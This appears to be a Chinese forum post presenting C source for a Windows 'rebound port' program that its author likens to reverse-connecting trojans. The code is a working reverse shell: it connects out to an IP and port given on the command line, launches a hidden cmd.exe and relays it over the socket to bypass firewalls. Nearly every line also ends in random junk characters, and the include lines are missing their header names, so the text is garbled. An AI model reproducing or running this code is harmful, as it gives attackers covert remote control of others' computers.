这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .GJbrz
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/* ============================== bl>W i@GL
Rebound port in Windows NT D1-w>Y#
By wind,2006/7 pm=O.)g4`
===============================*/ $#n9C79Z@
#include IxUj(l1Fm
#include 9Cd/SlNV2
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#pragma comment(lib,"wsock32.lib") KxKZC}4m
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void OutputShell(); ,m`&J?
SOCKET sClient; \i,H1a
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GFPrK9T
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void main(int argc,char **argv) {9Qc\Ij
{ -6-rXD
WSADATA stWsaData; Ww8U{f
int nRet; )?radg
SOCKADDR_IN stSaiClient,stSaiServer; `_)9eGQ
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if(argc != 3) JXkx!X_{
{ vjGJRk|XED
printf("Useage:\n\rRebound DestIP DestPort\n"); =/a`X[9vI
return; b*S,8vE]
} ,{:qbt
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WSAStartup(MAKEWORD(2,2),&stWsaData); VFZyWX@#u
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S_Nm?;P
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stSaiClient.sin_family = AF_INET; 'q;MhnU+
stSaiClient.sin_port = htons(0); ZhCz]z~tj6
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /cdLMm:
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9+m>|"F0
{ |7,$.MK-@
printf("Bind Socket Failed!\n"); uZ_?x~V/
return; H74'I}
} <?KgzIq2
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stSaiServer.sin_family = AF_INET; sx+k
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); '=+N
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fFbJE]jW
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 11QZ- ^
{ j^b&Q
printf("Connect Error!"); L T`T~|pz
return; 9HN&M*}
} :tFcPc'
OutputShell(); yO8@ .-j b
} J| &aqY
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void OutputShell() #
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{ Gl{'a1
char szBuff[1024]; o92BGqA>&
SECURITY_ATTRIBUTES stSecurityAttributes; t OnOzD
OSVERSIONINFO stOsversionInfo; /KnIU|;
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; o-_,l
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STARTUPINFO stStartupInfo; *$VeR(QN
char *szShell; '.pGkXyQ
PROCESS_INFORMATION stProcessInformation; ]5*H/8Ke7
unsigned long lBytesRead; -ys/I,}<
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); rLD1Cpeb,w
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KMb'm+
stSecurityAttributes.lpSecurityDescriptor = 0; ;dZZOocV1
stSecurityAttributes.bInheritHandle = TRUE; )2W7>PY
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); dmkGIg}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I31Nu{
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?T%"Jgy8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @fo(#i&
stStartupInfo.wShowWindow = SW_HIDE; wb#[&2i
stStartupInfo.hStdInput = hReadPipe; tD}{/`{_t
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !Y UT*
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GetVersionEx(&stOsversionInfo); w(+L&IBC
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switch(stOsversionInfo.dwPlatformId) fOSJdX0e|Q
{ ||cI~qg
case 1: \[]BB5)8
szShell = "command.com"; jsV1~1:83
break; K-*ZS8
default: #+"D?
szShell = "cmd.exe"; "\9beK:l
break; B"4A1!
} Ls|)SiXrY
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yoq-H+<
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send(sClient,szMsg,77,0); vqUYr
while(1) <Cs9$J
{ uW}M1kq?+l
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ):=8w.yC
if(lBytesRead) Gyi0SM6v5&
{ &kWT<*;J)
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M9VAs~&S
send(sClient,szBuff,lBytesRead,0); OHngpe4
} g
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else V.Lk70 \
{ @Py'SH!-
lBytesRead=recv(sClient,szBuff,1024,0); I)%bOK]
if(lBytesRead<=0) break; YyYp-0#
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6x!iL\Y~
} FDGzh/
} XI ><;#
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return; Y>nQ<
}